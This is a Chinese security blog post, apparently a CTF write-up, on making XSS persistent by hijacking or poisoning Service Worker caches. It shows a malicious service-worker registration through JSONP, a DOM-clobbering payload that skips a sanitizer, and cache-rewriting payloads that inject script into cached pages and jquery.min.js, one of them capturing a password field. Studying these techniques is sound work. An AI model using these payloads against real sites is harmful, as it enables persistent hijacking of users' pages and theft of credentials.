基于污染Service Worker Cache的XSS持久化研究

admin 2025年1月28日02:30:26评论7 views字数 5280阅读17分36秒阅读模式
基于污染Service Worker Cache的XSS持久化研究

一、 Service Worker 介绍

基于污染Service Worker Cache的XSS持久化研究
Service Worker可以理解为客户端与服务器之间的一个代理服务器。当网站中注册了Service Worker,那么它就可以拦截请求,根据开发者定义的程序,来判断是将请求传送给服务端还是直接通过缓存返回给客户端。
下面简单来实现一下Service Worker
# index.html
<script>
      if('serviceWorker' in navigator){
          window.addEventListener('load',function(){
              navigator.serviceWorker.register('./ws.js',{scope: './'})
              .then(function (registration) {
                  console.log('serviceWorker registered')
                })
              .catch(function (err) {
                  console.log('serviceWorker regist failed')
              })
          })
      }
</script>
简单解释一下代码:首先判断浏览器是否支持Service Worker,然后创建一个Service Worker,并指定其执行的代码以及作用域scope,该作用域表示的内容为拦截指定目录下的所有请求。创建成功之后,会执行then,否则执行catch
在创建Service Worker的时候,指定了运行代码,既可以通过文件的形式指定,也可以直接通过代码的形式执行。接下来我们在ws.js中定义缓存规则代码:
this.addEventListener('install',function(event){
  event.waitUntil(
      caches.open('m1sn0w').then(function (cache) { 
          return cache.addAll([
              './index.html'
          ])
        })
  )
})

this.addEventListener('fetch',function (event) {
  event.respondWith(
      new Response('m1sn0w',{headers: {'Content-Type':'text/html'}})
  )

})
这个文件中定义了两个事件,一个是install事件,另外一个是fetch事件,install事件一般用来设置浏览器的缓存逻辑,可以指定要缓存的资源路径文件,而fetch事件是拦截请求后所作的动作,例如上面直接页面,内容为m1sn0w。在后续的XSS持久化利用中,主要使用到fetch这个事件。

基于污染Service Worker Cache的XSS持久化研究

基于污染Service Worker Cache的XSS持久化研究

二、劫持 Service Worker 

基于污染Service Worker Cache的XSS持久化研究
假设存在一个反射型XSS漏洞利用点,例如:
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
</head>
<body>
  <form action="./index.php" method="POST" >
      <input type="text" name="xss" />
      <input type="submit" name="submit" value="提交" />
  </form>
  <?php
      if(isset($_POST['xss'])){
          echo $_POST['xss'];
      }
?>
</body>
</html>
如果想要劫持Service Worker的话,还需要一个条件,就是同域环境下需要一个jsonp,因为在后续构造fetch事件的时候,需要这个jsonp来将构造的代码返回,从而被当作执行的代码,例如,我在同域环境下给出一个jsonp(其实只需要能返回GET请求的数据就行):
# evil.js
<?php
header('Content-type: text/javascript');
  $callback=$_GET['callback'];
  echo $callback;
?>
这里需要返回头部信息为text/javascript,因为我们需要返回回来的代码被当作JS处理。然后我们构造如下Payload,并指定了缓存路径为./m1sn0w/,通过POST提交上去:
<script>
navigator.serviceWorker.register('./evil.php?callback=onfetch=function(e){console.log(1);e.respondWith(new Response("m1sn0w",{headers: {"Content-Type":"text/html"}}))}',{scope: './m1sn0w/'})
</script>
之后我访问/m1sn0w/目录下的任何文件,都会返回m1sn0w字符。(不管文件是否存在)

基于污染Service Worker Cache的XSS持久化研究

基于污染Service Worker Cache的XSS持久化研究

三、 湖湘杯 Pastebin 

基于污染Service Worker Cache的XSS持久化研究
这里只探究一下涉及到的两个前端知识点,一个是DOM Clobbering,另外一个就是污染Service Worker来持久化XSS

1、DOM Clobbering绕过检验函数

首先是第一个漏洞,DOM Clobbering,我们根据payload去调试分析一下整条链:
# payload
<form><input name=removeChild></form><img src=x onerror=alert(1337)>

基于污染Service Worker Cache的XSS持久化研究

在此之前,简单分析一下前端校验代码:
async function do_things(id) {
  try {
      var html = await get(id);
      var doc = new DOMParser().parseFromString(html, "text/html");
      if(doc.querySelectorAll("math").length !== 0 || doc.querySelectorAll("svg").length !== 0 || doc.querySelectorAll("base").length !== 0 || doc.querySelectorAll("object").length !== 0){
          console.log("filtered");
          return "<b>Your paste have been filtered</b>";
      }
      html = safepaste.sanitize(html);
  } catch(e) {
      // fetch failed
      console.log(e)
  }
  return html;
}
这里用到try...catch语句,但是在catch语句中并没有将程序结束,也就是说catch之后,程序还是会返回html变量。所以这里的思路就是在try语句块中触发报错,从而逃过sanitize函数的检查。经过上下文分析,可以知道html变量是受我们控制的。
通过调试代码分析,最终会调用到(new goog.html.sanitizer.HtmlSanitizer).sanitize(a);,而a变量就是受控的html变量。继续跟进sanitize(a)代码,会经过如下函数处理:this.processToString(a)-->this.processToTree(a)-->goog.dom.removeChildren(d)
变量aprocessToTree这个函数中进行了一些处理,也就是将字符串转换成了html标签。然后获取了整个标签的父标签,也就是最外层的标签对象,并将其赋值给了d变量。
然后将d变量传送给了goog.dom.removeChildren函数处理,我们看看该函数的具体实现:
goog.dom.removeChildren = function(a) {
  for (var b; b = a.firstChild; ) {
      a.removeChild(b)
  }
}
由于这里传入的变量是一个标签对象,了解DOM Clobbering的话就很容易看出来这里存在漏洞。例如传入的数据是<form>标签,其子标签元素inputname值为removeChild,那么上面的a.removeChild表示的就是<input>这个标签对象,而不再是函数,因此,这里最终会报错。

基于污染Service Worker Cache的XSS持久化研究

我在这里加了一个console.log输出变量,最终控制台输出<input>标签对象:

基于污染Service Worker Cache的XSS持久化研究

因此,我们最终构造payload的时候,只需要在前面加上<form><input name=removeChild></form>即可逃过校验函数的检测,后面就可以构造xss利用代码。

2、修改Service Worker缓存

该题的第二个考点就是污染Service Worker来持久化XSS。先不谈为什么这里需要持久化,我们先单纯地学习一下这个知识点。出题师傅给了一篇论文,https://swcacheattack.secpriv.wien/,我们先对论文里面的内容做一个了解与分析。
文章给出的攻击思路,大概就是利用xss漏洞去污染Service Worker缓存,然后将缓存中的一些静态数据修改掉,当用户再次访问页面的时候,由于Service Worker缓存的存在,会直接将缓存的数据返回给用户。而这些缓存的数据,由于被修改了,这样也就达到了攻击用户的目的。
我们对文中给出的payload做一个简单的分析:
(async () => {
  let p = `<script>document.querySelector('#col-add button').addEventListener('click', (event) => {alert('Password stolen: ' + document.querySelector('#col-add input[type="password"]').value);});</script>`;
  let t = '/safenotes/';
  let c = await caches.open('static');
  let r = await c.match(t);
  let rt = await r.text();
  await c.put(t, 
    new Response(rt.replace('</body>', p + '</body>'), {
      status: 200,
      statusText: 'OK',
      headers: r.headers
    })
  );
})();
这里的caches.open用来打开static缓存空间,然后通过match来寻找缓存文件,这里找到的文件如图所示:

基于污染Service Worker Cache的XSS持久化研究

接下来,它将文件的内容读取出来,然后将构造的payload代码插入到文件内容中,并将更新的文件内容再次写入缓存空间。我们简单分析一下该攻击手法,攻击前提是存在一个XSS漏洞点,然后网站原本开启了Service Worker缓存。利用XSS漏洞,将缓存文件内容替换,从而达到攻击的目的。
我们回到这个题目,可以通过查看缓存空间,来获知哪些文件进行了缓存:

基于污染Service Worker Cache的XSS持久化研究

接下来的利用方式就是结合上面的思路,我们修改缓存文件,例如jquery.min.js,当有一个地方引入这个文件的时候,就会触发我们修改添加进去的xss恶意代码。
<script>
(async () => {
  let e = "/jquery.min.js", 
      t = await caches.open("static-resources"), 
      a = await t.match(e), 
      s = await a.text();
  await t.put(e, new Response(s.replace("jQuery=C.$=S),S});",
      `jQuery=C.$=S),S});alert('xss');`),  
      {
          status: 200,
          statusText: "OK",
          headers: a.headers
      }))
})();
</script>
在本地简单搭建了一个demo来对此攻击示例做一个测试。在存在xss漏洞点的地方,输入上述payload,结果会导致Jquey缓存文件内容发生了改变,当我们再次访问导入了Jquery的页面的时候,会弹出xss框。

基于污染Service Worker Cache的XSS持久化研究

该题接下来的利用就是分析bot程序的行为,然后修改action属性值,最终将flag数据外带从而拿到flag值。
基于污染Service Worker Cache的XSS持久化研究

原文始发于微信公众号(SAINTSEC):基于污染Service Worker Cache的XSS持久化研究

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月28日02:30:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   基于污染Service Worker Cache的XSS持久化研究https://cn-sec.com/archives/3680785.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息